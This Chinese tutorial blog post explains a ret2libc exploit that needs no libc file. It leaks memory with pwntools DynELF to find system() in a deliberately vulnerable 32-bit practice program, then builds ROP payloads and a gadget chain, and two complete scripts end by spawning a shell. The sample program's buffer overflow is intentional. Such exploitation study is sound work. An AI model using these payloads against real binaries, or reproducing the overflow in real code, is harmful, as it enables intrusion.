无libc漏洞利用总结

  1. 1. 前言
  2. 2. 源程序
  3. 3. DynELF
    1. 3.1. 使用条件
  4. 4. 程序分析
    1. 4.1. 构造leak函数
  5. 5. 攻击脚本
  6. 6. 参考资料

前言

通过ROP绕过DEPASLR防护,我们要事先得到目标机器上的libc.so或者具体的linux版本号才能计算出相应的offset。在没有目标系统libc文件的情况下,应该如何做呢?这时候就需要通过memory leak(内存泄露)来搜索内存找到system()的地址。,我们可以使用pwntoolsDynELF模块来泄漏地址信息,从而获取到shell。通过泄露内存的方式可以获取目标程序libc中各函数的地址,这种攻击方式可以绕过地址随机化保护。下文通过一个例子讨论泄露内存的ROP攻击。

源程序

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

编译:

1
gcc -m32 -fno-stack-protector -o example example.c

DynELF

DynELFpwntools 中专门用来应对无libc情况的漏洞利用模块,其基本代码框架如下:

1
2
3
4
5
6
7
8
9
10
11
sh = process('./xxx')
def leak(address):
#各种预处理
payload = "xxxxxxxx" + address + "xxxxxxxx"
sh.send(payload)
#各种处理
data = p.recv(4)
print ("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
system_addr = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址

需要使用者进行的工作主要集中在leak函数的具体实现上,上面的代码只是个模板。其中,address就是leak函数要泄漏信息的所在地址,而payload就是触发目标程序泄漏address处信息的攻击代码。通过这个leak函数可以获取到某个地址上最少1 byte的数据。

使用条件

不管有没有libc文件,要想获得目标系统的system函数地址,首先都要求目标二进制程序中存在一个能够泄漏目标系统内存中libc空间内信息的漏洞。同时,由于我们是在对方内存中不断搜索地址信息,故我们需要这样的信息泄露漏洞能够被反复调用。以下是大致归纳的主要使用条件:

1)目标程序存在可以泄露libc空间信息的漏洞,如read@got就指向libc地址空间内;

2)目标程序中存在的信息泄露漏洞能够反复触发,从而可以不断泄露libc地址空间内的信息

程序分析

read 函数这里显然存在一个缓存区溢出的漏洞,buf的长度是128read函数读取了256字节的数据,造成了缓冲区溢出。程序example运行的时候由于通过动态链接编译,使用了libc中的函数,我们可以通过 ldd 命令查看程序使用的共享库:

ldd指令

不同的操作系统的libc版本可能不同,不同版本libc中函数的地址也不同。比如system函数在libc 1.9.2 中的位置和libc 2.2.3中的位置不同。可以通过以下命令查看自己操作系统中libc的版本

1
$ dpkg -l | grep libc

一般的操作系统默认开启了地址随机化的保护机制(可以通过checksec查看),程序每次运行的时候,载入到内存中的位置是随机的。如下图,多次使用ldd查看exmaple使用的共享库,可以发现地址已经变化了:

ldd_addr

但是程序运行的时候libc已经载入到内存中了,这时libc的地址是一个固定的值,我们可以通过泄露内存的方法dump出程序正在使用的libc,从而找到libc中system函数的地址。

也就是说我们需要构造一个能泄露至少一字节内存的payload:

1
'A' * N + p32(write_plt) + p32(ret_addr) + p32(1) + p32(address) + p32(4)

输入N个字符后发生溢出,write_plt的地址将会覆盖read函数的返回地址,随后程序将会跳转到write函数,我们在栈中构造了write函数的3个参数和返回地址,这段payload相当于让程序执行

write(1, address, 4)
这样就可以dump出内存中地址为address处的4字节数据。知道如何从内存中dump数据后,便可以使用pwntools中的DynELF模块查找system函数,并获取system的地址。首先需要确定输入多少字符时,溢出会发生 ,这里可以使用pwntools里面的cyclic工具生成字符串,然后用GDB调试example,找到溢出点,最后,再次使用pwntools中的cyclic查找溢出点距离返回地址的偏移量【通过直接传送大量的字符覆盖返回地址使其在动态调试时报错的方法来确定偏移】:

1
2
3
gdb调式程序,输入r运行程序,停在输入处输入cyclic字符串,查看无效地址(也即下文中的lookup_value)
cyclic [-l lookup_value] 可以得到返回地址到缓冲区起始位置的偏移量
[count] Number of characters to print

3 cyclic 500.PNG

4

可以看到,第140字节后的4个字节会覆盖read函数的返回地址,所以泄露system地址的payload如下:

1
'A' * 140 + p32(write_plt) + p32(ret_addr) + p32(1) + p32(address) + p32(4)

构造leak函数

1
2
3
4
5
6
def leak(address):
payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
sh.sendline(payload1)
data = p.recv(4)
print("%#x => %s" % (address, (data or '').encode('hex')))
return data

这段函数能从内存中address处dump出4字节数据,函数执行结束后会返回main函数重新执行,也就是说利用这个函数,我们可以dump出整个libc

使用DynELF模块查找system函数地址:

1
2
d = DynELF(leak, elf=ELF('./001'))
system_addr= d.lookup('system', 'libc')

获取到system地址后便可以构造system(“/bin/sh”)攻击程序。要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S example这个命令就可以获取到bss段的地址了。payload如下:

1
'a'*140 + p32(read_plt) + p(ppp_ret) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + 'a'*4 + p32(bss_addr)

我们构造的read函数有3个参数,这3个参数和read函数的返回地址不同,返回地址在ret指令执行时被pop出栈,但是这3个参数却还留在栈中,没有被弹出栈,这会影响我们构造的下一个函数system的执行,所以我们需要找一个连续pop三个寄存器的指令来平衡堆栈。这种指令很容易找到,如下:

1
$ objdump -d example | grep pop -C5

使用字符串过滤的方法即可。

我们找的pop指令后面还需要带有一个ret指令,这样我们平衡堆栈后可以返回到我们构造的函数,如下图所示:

ppp_ret

ppp ret(2)

我们可以选取 0x80484f9 - 0x80484fc这四条指令:

1
pop ebx; pop esi; pop ebp; ret

形如这样的一串汇编指令也叫作gadgets,在ROP攻击中利用很广泛。gadgets散落在程序汇编代码的各个角落,当程序的代码很长的时候,寻找gadgets就会变得很复杂,因此有人写过工具专门用来寻找程序中的gadgets,比如ROPgadgets

整个攻击过程如下:

​ 首先通过DynELF获取到system()的地址后,我们又通过read将“/bin/sh”写入到.bss段上,最后再调用system(.bss),执行“/bin/sh”

攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#encoding:utf-8
from pwn import *
'''
#exploit_1.py
sh=process('./example')
elf=ELF('./example')

write_plt=elf.plt['write']
read_plt=elf.plt['read']
ret_addr=elf.symbols['main']
bss_addr=elf.symbols['__bss_start']
ppp_ret=0x080484f9

def leak(address):
payload='a'*140+p32(write_plt)+p32(ret_addr)+p32(1)+p32(address)+p32(4)
sh.send(payload)
data=sh.recv(4)
print("%#x => %s" % (address,(data or '').encode('hex')))
return data

d=DynELF(leak,elf=ELF('./example'))
system_addr=d.lookup('system','libc')

payload_2='a'*140+p32(read_plt)+p32(ppp_ret)+p32(0)+p32(bss_addr)+p32(8)
payload_2+=p32(system_addr)+'a'*4+p32(bss_addr)

sh.sendline(payload_2)
sh.send('/bin/sh\x00')

sh.interactive()
sh.close()
'''
#exploit_2.py
sh=process('./example')
elf=ELF('./example')

write_plt=elf.plt['write']
read_plt=elf.plt['read']
ret_addr=elf.symbols['main']
bss_addr=elf.symbols['__bss_start']

def leak(address):
payload='a'*140+p32(write_plt)+p32(ret_addr)+p32(1)+p32(address)+p32(4)
sh.send(payload)
data=sh.recv(4)
print("%#x => %s" % (address,(data or '').encode('hex')))
return data

d=DynELF(leak,elf=ELF('./example'))
system_addr=d.lookup('system','libc')

payload_1='a'*140+p32(read_plt)+p32(ret_addr)+p32(0)+p32(bss_addr)+p32(8)
sh.sendline(payload_1)
sh.send('/bin/sh\x00')

payload_2='a'*140+p32(system_addr)+'a'*4+p32(bss_addr)
sh.sendline(payload_2)
sh.interactive()
sh.close()

注:ret_addr不能写成是 ret_addr=elf.symbols['vulnerable_function'],我刚开始时是这样写的,但总是得不到想要的结果,后来回想起看过的一篇文章,然后改为 ret_addr=elf.symbols['main'],结果就行了,据别人说可能是环境变量被覆盖了。

参考资料

https://blog.csdn.net/SmalOSnail/article/details/53386353

https://www.anquanke.com/post/id/85129